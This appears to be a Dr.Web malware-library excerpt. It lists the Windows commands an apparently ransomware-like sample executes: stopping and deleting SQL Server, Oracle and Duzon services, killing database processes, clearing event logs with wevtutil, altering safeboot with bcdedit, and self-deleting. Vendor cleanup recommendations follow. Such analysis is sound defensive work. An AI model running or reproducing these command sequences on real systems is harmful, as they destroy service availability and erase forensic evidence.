  • '<SYSTEM32>\cmd.exe' /c ReportingServecesService.exe
  • '<SYSTEM32>\sc.exe' stop MSSQLFDLauncher
  • '<SYSTEM32>\wevtutil.exe' cl security
  • '<SYSTEM32>\cmd.exe' /c sc stop ReportingServecesService.exe
  • '<SYSTEM32>\cmd.exe' /c sc delete ReportingServecesService.exe
  • '<SYSTEM32>\cmd.exe' /c sc stop OracleOraDb11g_home1ClrAgent
  • '<SYSTEM32>\sc.exe' stop MSSQLServerADHelper100
  • '<SYSTEM32>\cmd.exe' /c sc stop OracleOraDb11g_home1TNSListener
  • '<SYSTEM32>\cmd.exe' /c sc delete OracleServiceORCL
  • '<SYSTEM32>\cmd.exe' /c wevtutil cl security
  • '<SYSTEM32>\cmd.exe' /c wevtutil cl system
  • '<SYSTEM32>\cmd.exe' /c wevtutil cl applocation
  • '<SYSTEM32>\cmd.exe' /c taskkill /f /im sqlservr.exe
  • '<SYSTEM32>\cmd.exe' /c sc stop MSSQLSERVER
  • '<SYSTEM32>\cmd.exe' /c sc delete MSSQLSERVER
  • '<SYSTEM32>\cmd.exe' /c sc delete MSSQLServerADHelper100
  • '<SYSTEM32>\cmd.exe' /c sc stop MSSQLFDLauncher
  • '<SYSTEM32>\cmd.exe' /c sc stop MSSQLServerADHelper100
  • '<SYSTEM32>\cmd.exe' /c sc stop SQLBrowser
  • '<SYSTEM32>\cmd.exe' /c sc delete MSSQLFDLauncher
  • '<SYSTEM32>\cmd.exe' /c sc stop SQLWriter
  • '<SYSTEM32>\cmd.exe' /c sc delete SQLBrowser
  • '<SYSTEM32>\sc.exe' stop *sql*
  • '<SYSTEM32>\cmd.exe' /c sc delete SQLWriter
  • '<SYSTEM32>\cmd.exe' /c sc stop SQLSERVERAGENT
  • '<SYSTEM32>\cmd.exe' /c sc stop OracleServiceORCL
  • '<SYSTEM32>\cmd.exe' /c sc delete SQLSERVERAGENT
  • '<SYSTEM32>\cmd.exe' /c taskkill /f /im oracle.exe
  • '<SYSTEM32>\cmd.exe' /c sc delete OracleOraDb11g_home1TNSListener
  • '<SYSTEM32>\sc.exe' stop DzServerUpdaterService
  • '<SYSTEM32>\cmd.exe' /c 'bcdedit /deletevalue {current} safeboot'
  • '<SYSTEM32>\cmd.exe' /c sc stop OracleMTSRecoveryService
  • '<SYSTEM32>\cmd.exe' /c sc delete ReportServer
  • '<SYSTEM32>\sc.exe' stop OracleOraDb11g_home1TNSListener
  • '<SYSTEM32>\sc.exe' stop OracleJobSchedulerORCL
  • '<SYSTEM32>\sc.exe' delete SQLWriter
  • '<SYSTEM32>\sc.exe' stop OracleMTSRecoveryService
  • '<SYSTEM32>\sc.exe' stop OracleServiceORCL
  • '<SYSTEM32>\sc.exe' delete MSSQLFDLauncher
  • '<SYSTEM32>\wevtutil.exe' cl system
  • '<SYSTEM32>\sc.exe' delete OracleOraDb11g_home1ClrAgent
  • '<SYSTEM32>\sc.exe' delete MSSQLSERVER
  • '<SYSTEM32>\sc.exe' stop OracleOraDb11g_home1ClrAgent
  • '<SYSTEM32>\sc.exe' delete SQLSERVERAGENT
  • '<SYSTEM32>\sc.exe' stop OracleDBConsoleorcl
  • '<SYSTEM32>\sc.exe' delete OracleServiceORCL
  • '<SYSTEM32>\sc.exe' delete ReportingServecesService.exe
  • '<SYSTEM32>\sc.exe' stop DzKeyLockDotNetService
  • '<SYSTEM32>\sc.exe' stop ReportingServecesService.exe
  • '<SYSTEM32>\sc.exe' delete OracleVssWriterORCL
  • '<SYSTEM32>\sc.exe' delete OracleDBConsoleorcl
  • '<SYSTEM32>\cmd.exe' /c sc stop ReportServer
  • '<SYSTEM32>\cmd.exe' /c sc delete sqlservr.exe
  • '<SYSTEM32>\cmd.exe' /c sc stop sqlservr.exe
  • '<SYSTEM32>\cmd.exe' /c sc delete MsDtsServer110
  • '<SYSTEM32>\cmd.exe' /c taskkill /f /im mshta.exe
  • '<SYSTEM32>\cmd.exe' /c sc stop DuzonDataSafe
  • '<SYSTEM32>\cmd.exe' /c sc stop DzKeyLockService
  • '<SYSTEM32>\cmd.exe' /c sc delete DuzonDataSafe
  • '<SYSTEM32>\sc.exe' stop SQLSERVERAGENT
  • '<SYSTEM32>\cmd.exe' /c sc delete DzKeyLockService
  • '<SYSTEM32>\cmd.exe' /c sc stop DzServerUpdaterService
  • '<SYSTEM32>\cmd.exe' /c sc delete DzServerUpdaterService
  • '<SYSTEM32>\cmd.exe' /c sc stop DzKeyLockDotNetService
  • '<SYSTEM32>\cmd.exe' /c sc stop MsDtsServer120
  • '<SYSTEM32>\cmd.exe' /c sc delete DzKeyLockDotNetService
  • '<SYSTEM32>\sc.exe' stop SQLWriter
  • '<SYSTEM32>\sc.exe' delete SQLBrowser
  • '<SYSTEM32>\sc.exe' stop MSSQLSERVER
  • '<SYSTEM32>\cmd.exe' /c sc stop MSSQLServerOLAPService
  • '<SYSTEM32>\sc.exe' delete OracleOraDb11g_home1TNSListener
  • '<SYSTEM32>\wevtutil.exe' cl applocation
  • '<SYSTEM32>\cmd.exe' /c sc delete MSSQLServerOLAPService
  • '<SYSTEM32>\cmd.exe' /c sc stop MsDtsServer110
  • '<SYSTEM32>\sc.exe' stop SQLBrowser
  • '<SYSTEM32>\cmd.exe' /c taskkill /f /im n.exe
  • '<SYSTEM32>\cmd.exe' /c <Current directory>\DeleteItself.bat' (with hidden window)

Curing recommendations

  1. If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space.
  2. If you cannot boot the OS, change the BIOS settings to boot your system from a CD or USB drive. Download the image of the emergency system repair disk Dr.Web® LiveDisk , mount it on a USB drive or burn it to a CD/DVD. After booting up with this media, run a full scan and cure all the detected threats.
Download Dr.Web

Download by serial number

Use Dr.Web Anti-virus for macOS to run a full scan of your Mac.

After booting up, run a full scan of all disk partitions with Dr.Web Anti-virus for Linux.

Download Dr.Web

Download by serial number

  1. If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
  2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
    • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
    • Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
    • Switch off your device and turn it on as normal.

Find out more about Dr.Web for Android